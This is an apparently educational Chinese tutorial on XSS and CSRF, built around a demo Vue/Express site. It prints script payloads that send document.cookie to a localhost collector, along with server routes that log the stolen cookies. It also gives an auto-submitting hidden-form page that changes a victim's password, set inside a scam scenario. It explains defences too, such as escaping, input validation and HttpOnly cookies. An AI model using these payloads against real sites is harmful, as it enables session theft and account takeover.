Xss攻击

Xss（cross site scripting）跨站脚本攻击，为了和css区分，所以缩写是xss。

XSS是注入攻击的一种，攻击者通过将代码注入被攻击者的网站中，用户一旦访问访问网页便会执行被注入的恶意脚本。

XSS原理

xss攻击个人认为主要出现在服务端渲染，因为如果是客户端渲染，客户端渲染的话一般都会对输入的内容转义，所以服务端渲染基本碰不到存在xss漏洞的网站，

如果是服务端渲染，那就不一样了，因为如果我前端在输入框里输入的不是普通字符串，而是输入了一串js代码，或者有些网站是会根据地址栏上的参数进行渲染，我url上面的参数值没有写普通字符串，而是直接写js语句，如果后端没做处理，就将前端的js代码渲染在了html上面，最终访问网站，后端就会返回如下的html页面：

<div>
    <h1>留言板</h1>
    <ul>
        <li>
            你好啊
        </li>
        <li>
            <img src="不存在的地址1" onerror="window.location.href='http://www.github.com';" alt="">
        </li>
        <li>
            <script>window.location.href = "http://localhost:3000/js_xss?" + document.cookie;</script>
        </li>
        <li>
            <script>
                var imgEl = new Image();
                imgEl.src = "http://localhost:3000/img_xss?" + document.cookie;
                imgEl.style.display = 'none';
                document.body.appendChild(imgEl);
            </script>
        </li>
        <li>
            <script>
                var scriptEl = document.createElement("script");
                scriptEl.type = "text/javascript";
                scriptEl.src = "http://localhost:3000/js_xss?" + document.cookie;
                document.body.appendChild(scriptEl);
            </script>
        </li>
    </ul>
</div>

当浏览器解析到这些可执行语句的时候，就会执行，后果可想而知。

类型

反射型（非持久型）

一般会通过URL注入攻击脚本，只有当用户访问这个URL是才会执行攻击脚本。

存储型（持久型）

恶意代码被保存到目标网站的服务器中，比如用户留言的时候输入了一串js代码，然后发表留言的时候，这串js代码会保存到数据库，等下次再访问该网站的时候，网站会获取留言列表，如果你的那条恶意代码的留言显示在了页面上，就会执行你的那串恶意代码。这样的危害非常大，只要是访问该网站的都有可能受到影响。

防范

HTML转义

防范XSS攻击最主要的方法是对用户输入的内容进行HTML转义，转义后可以确保用户输入的内容在浏览器中作为文本显示，而不是作为代码解析。

验证用户输入

XSS攻击可以在任何用户可定制内容的地方进行，如下：

<a href=”{{url}}”>Website</a>

其中{{url}}部分表示会被替换为用户输入的url变量值。如果不对URL进行验证，那么用户就可以写入javaScript代码，比如javascript:alert(‘Bingo!’);。因为这个值并不包含会被转义的<和>。最终页面上的连接代码会变为：

<a href="javascript:alert('Bingo!');">Website</a>

当用户单击这个链接时，浏览器就会执行被href属性中设置的攻击代码。

另外，程序还允许用户设置头像图片的URL。这个图片通过下面的方式显示：

<img src="{{url}}">

类似的，{{url}}部分表示会被替换为用户输入的url变量值。如果不对输入的URL进行验证，那么用户可以将url设为"xxx" onerror=“alert(‘Bingo!’)”，最终的img标签就会变为：

<img src="xxx" onerror="alert('Bingo!')">

在这里因为src中传入了一个错误的URL，浏览器变回执行onerror属性中设置的javaScript代码。

可以使用功能单引号或者双引号，将用户的输入转成字符串，再渲染到html上。

设置cookie的HTTPOnly属性

JavaScript Document.cookie API 无法访问带有 HttpOnly 属性的cookie；此类 Cookie 仅作用于服务器。例如，持久化服务器端会话的 Cookie 不需要对 JavaScript 可用，而应具有 HttpOnly 属性。此预防措施有助于缓解跨站点脚本（XSS）攻击。

Csrf攻击

CSRF（Cross-site request forgery）跨站请求伪造

简单来讲就是攻击者（黑客，钓鱼网站）盗用了你的身份，以你的名义发送恶意请求，这些请求包括发送邮件、发送消息、盗取账号、购买商品、银行转账

Csrf原理

个人认为，Csrf攻击的原理就是利用了发起请求时，浏览器会自动带上一些存在客户端的值，比如cookie。众所周知，http协议是无状态的，在那个古老的年代，很多网站都将用户登录成功时候返回的登录状态（如token）存进cookie里，然后客户端发起请求时，啥都不用干，照常发请求，因为发请求时，浏览器会自动带上cookie，后端在接收到请求时，就会判断cookie是否合法或者过期等等，如果判断无误，就会返回用户操作结果。从上面的流程可以看出，所有的操作都是根据cookie的，即后端收到请求，谁都不认，就认cookie，cookie对就返回结果，因此，就衍生出了Csrf攻击，最最低级的Csrf攻击就是所谓的钓鱼网站，什么是钓鱼网站？首先要完成Csrf攻击，首先要满足以下条件：

1. 该网站存在Csrf漏洞（重要条件）
2. 浏览器没有做安全限制（重要条件）
3. 该用户防范意识不足（次要条件）

当满足了上面的一二点后，那么其实用户被钓鱼的记录就大大提高了，因为大部分人都不会想到，点一下链接，自己的数据就被篡改了。

用通俗案例模拟整体流程：

1. 某公司开发了一个网站，该网站有新人活动，新人注册登录即可直接返十块钱红包（即白嫖），但该网站存在Csrf漏洞。

   该网站的前端：最终部署在：https://www.zhengbeining.com/csrf/下

   <template>
     <div>
       <h1 style="color: red">Csrf测试网站</h1>
       <h1>当前用户信息:{{ info }}</h1>
       <div style="width: 500px" v-if="!loginOk">
         <el-form ref="form" :model="info" label-width="80px">
           <el-form-item label="账号">
             <el-input v-model="info.username"></el-input>
           </el-form-item>
           <el-form-item label="密码">
             <el-input type="password" v-model="info.password"></el-input>
           </el-form-item>
           <el-form-item label="">
             <el-button type="success" @click="login">登录</el-button>
             <el-button type="primary" @click="register">注册</el-button>
           </el-form-item>
         </el-form>
       </div>
       <div v-else>
         <h2>登录成功</h2>
         <div style="width: 500px">
           新密码：<el-input type="password" v-model="newpassword"></el-input>
           <el-button type="danger" @click="edit">修改</el-button>
         </div>
       </div>
     </div>
   </template>
   
   
   
   <script>
   import Cookies from "js-cookie";
   import axios from "axios";
   export default {
     components: {},
     data() {
       return {
         info: {
           username: "",
           password: "",
         },
         newpassword: "",
         loginOk: false,
       };
     },
     mounted() {
       this.loginOk = Cookies.get("token");
       if (this.loginOk) {
         console.log("cookie有token,获取用户信息");
         this.getUserInfo();
       } else {
         console.log("cookie没有token");
       }
     },
     methods: {
       getUserInfo() {
         axios
           // .get("/api/getUserInfo", {
           .get("https://www.zhengbeining.com/csrf/getUserInfo", {
             params: { token: Cookies.get("token") },
           })
           .then((res) => {
             console.log(res);
             if (res.data.code == 200) {
               delete res.data.info.token;
               this.info = Object.assign({}, this.info, res.data.info);
               this.loginOk = true;
               this.$message.success(res.data.msg);
             } else {
               this.loginOk = false;
               Cookies.remove("token");
               this.$message.error(res.data.msg);
             }
           })
           .catch((err) => {
             console.log(err);
           });
       },
       login() {
         axios
           // .post("/api/login", {
           .post("https://www.zhengbeining.com/csrf/login", {
             ...this.info,
           })
           .then((res) => {
             if (res.data.code == 200) {
               this.$message.success(res.data.msg);
               Cookies.set("token", res.data.info.token);
               delete res.data.info.token;
               this.info = Object.assign({}, this.info, res.data.info);
               this.loginOk = true;
             } else {
               this.$message.error(res.data.msg);
             }
           })
           .catch((err) => {
             console.log(err);
           });
       },
       register() {
         axios
           // .post("/api/register", {
           .post("https://www.zhengbeining.com/csrf/register", {
             ...this.info,
           })
           .then((res) => {
             if (res.data.code == 200) {
               this.$message.success(res.data.msg);
               // this.info = Object.assign({}, this.info, res.data.info);
               // Cookies.set("token", res.data.token);
               // this.loginOk = true;
             } else {
               this.$message.error(res.data.msg);
             }
           })
           .catch((err) => {
             console.log(err);
           });
       },
       edit() {
         if (this.newpassword.length < 6) {
           this.$message.error("密码需要大于6位数");
           return;
         }
         axios
           // .post("/api/edit", {
           .post("https://www.zhengbeining.com/csrf/edit", {
             password: this.newpassword,
           })
           .then((res) => {
             if (res.data.code == 200) {
               Cookies.remove("token");
               // this.$data = this.$options.data();
               Object.assign(this.$data, this.$options.data());
               this.$message.success(res.data.msg);
             } else {
               this.$message.error(res.data.msg);
             }
           })
           .catch((err) => {
             console.log(err);
           });
       },
     },
   };
   </script>
   
   <style>
   </style>
   

   该网站的后端：最终还是部署在https://www.zhengbeining.com/csrf/下。

   let express = require('express')
   const { v4: uuidv4 } = require('uuid');
   const connection = require('./app/database');
   
   // 解析post请求的body数据
   let app = express()
   app.use(express.json())
   app.use(express.urlencoded({ extended: false }))
   
   
   app.all("*", function (req, res, next) {
     //设置允许跨域的域名，*代表允许任意域名跨域
     res.header("Access-Control-Allow-Origin", "*");
     //允许的header类型
     res.header("Access-Control-Allow-Headers", "Content-Type,authorization,request-origin");
     //跨域允许的请求方式 
     res.header("Access-Control-Allow-Methods", "DELETE,PUT,POST,GET,OPTIONS");
     if (req.method.toLowerCase() == 'options')
       res.send(200);  //让options尝试请求快速结束
     else
       next();
   })
   
   // 静态文件目录
   app.use(express.static('public'))
   var router = express.Router()
   
   // Xss攻击，获取cookie
   app.use('/', router.get('/img_xss', async (req, res, next) => {
     console.log('img_xss攻击成功,拿到cookie：', req.query)
     res.end('img_xss-ok')
   }))
   
   // Xss攻击，获取cookie
   app.use('/', router.get('/js_xss', async (req, res, next) => {
     console.log('js_xss攻击成功,拿到cookie：', req.query)
     res.end('js_xss-ok')
   }))
   
   // 获取用户信息
   app.use('/', router.get('/getUserInfo', async (req, res, next) => {
     console.log('login')
     let statement = `SELECT * FROM user WHERE token = ?`;
     let [result] = await connection.execute(statement, [req.query.token]);
     if (result[0]) {
       res.json({ code: 200, msg: '获取用户信息成功', info: result[0] })
     } else {
       res.json({ code: 400, msg: 'token错误，获取用户信息失败' })
     }
   
   }))
   
   // 注册
   app.use(router.post('/register', async (req, res, next) => {
     console.log('register')
     const { username, password } = req.body;
     let statement = `SELECT * FROM user WHERE username = ?;`;
     let [result] = await connection.execute(statement, [username]);
     if (!result[0]) {
       let statement = `INSERT INTO user (username, password , token, createdTime) VALUES (?, ?, ?);`;
       await connection.execute(statement, [username, password, null, new Date() + '']);
       res.json({ code: 200, msg: '注册成功' })
     } else {
       res.json({ code: 400, msg: '用户名:' + username + ',已经被注册了' })
     }
   }))
   
   // 登录
   app.use('/', router.post('/login', async (req, res, next) => {
     console.log('login')
     let { username, password } = req.body
     let statement = `SELECT * FROM user WHERE username = ? and password = ?`;
     let [result] = await connection.execute(statement, [username, password]);
     if (!result[0]) {
       res.json({ code: 400, msg: '用户名密码错误' })
     } else {
       let statement = `UPDATE user SET token = ? WHERE id = ?;`;
       await connection.execute(statement, [uuidv4(), result[0].id]);
       let info = await connection.execute(`SELECT * FROM user WHERE id = ${result[0].id}`);
       res.json({ code: 200, msg: '登录成功', info: info[0][0] })
     }
   }))
   
   // 修改密码
   app.use('/', router.post('/edit', async (req, res, next) => {
     console.log('edit')
     var Cookies = {};
     if (req.headers.cookie != null) {
       req.headers.cookie.split(';').forEach(l => {
         var parts = l.split('=');
         Cookies[parts[0].trim()] = (parts[1] || '').trim();
       });
     }
     let info = await connection.execute(`SELECT * FROM user WHERE token = ?`, [Cookies.token]);
     // console.log(info[0][0].id)
     let statement = `UPDATE user SET password =  ? WHERE token = ?;`;
     let [result] = await connection.execute(statement, [req.body.password, Cookies.token]);
     console.log(result)
     if (result.affectedRows == 0) {
       res.json({ code: 400, msg: 'token错误，修改密码失败' })
     } else {
       let statement = `UPDATE user SET token = ? , updatedTime = ? WHERE id = ?;`;
       await connection.execute(statement, [uuidv4(), new Date() + '', info[0][0].id]);
       res.json({ code: 200, msg: '修改密码成功' })
     }
   }))
   
   
   app.listen('7000', function () {
     console.log('http://localhost:7000', 'running....')
   })
   

2. 某骗子知道该网站漏洞后，在网上大肆宣传该网站新人返利活动，然后让用户添加自己的微信以获取更多白嫖福利。

3. 用户a添加了骗子，骗子让他注册登录后，截登录成功的图发给骗子，然后骗子再告诉用户下一步怎么做。

4. 用户a注册登录了（即发起过https://www.zhengbeining.com/csrf/login请求了，然后将token设置在https://www.zhengbeining.com这个域名下的cookie里），截图发给了骗子，这样骗子就确定了改用户登录了，登录信息肯定保存在cookie了，然后骗子因为在这个网站里面修改过密码，知道这个网站修改用户密码是发起一个post请求，带上password这个参数就可以了，后端服务端会判断cookie，并且只认cookie，cookie合法就使用传过来的password改掉数据库的密码，如果cookie不合法，就返回错误。

5. 这时候骗子开始操作了，发了一个链接给用户a，让用户a点击这个链接看看活动规则，但是这个是钓鱼链接，具体代码如下：

   <!DOCTYPE html>
   <html lang="en">
   
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="X-UA-Compatible" content="IE=edge">
       <meta name="viewport" content="width=device-width, initial-scale=1.0">
       <title>Document</title>
   </head>
   
   <body>
       <form class="csrf" action="http://localhost:3000/edit" method="post" target="iframe" style="display: none;">
           <input type="text" name="password" value="999" />
       </form>
       <iframe name="iframe" style="display: none;"></iframe>
   
       <script>
           var el = document.getElementsByClassName("csrf")[0]
           el.submit()
       </script>
   </body>
   
   </html>
   

   这个链接打开其实是一片空白，它却会发起了一个表单请求，发起了一个post请求：http://localhost:3000/edit，并且将password的值设为了999，然后submit提交，而且提交是弹出一个iframe嵌套窗口，但是这个窗口设置了隐藏样式，就感觉啥都看不出来，就是一片空白。

6. 用户a点击链接后，虽然一片空白，但是却背地里发起了一个post请求，而且由于用户登录成功了，token保存在cookie里了，现在再次发起的请求https://www.zhengbeining.com/edit还是https://www.zhengbeining.com的，于是，只要是同一个浏览器，用户之前在这里登录过了，留下了cookie，且这个cookie还没过期（一般cookie不会这么快过期，而且用户也是刚登录完不久就点击了骗子链接），再次发起https://www.zhengbeining.com/edit的时候，不管当前的骗子链接是怎样的，浏览器都会发起http://localhost:3000/edit请求，并且，浏览器会找自己有没有存在https://www.zhengbeining.com这个域名下的数据，比如：cookie，如果有的话就会带上，而恰巧，之前https://www.zhengbeining.com/login登陆成功的时候就保存了token在cookie里，因此，浏览器会带上这个cookie(即token)传给后端。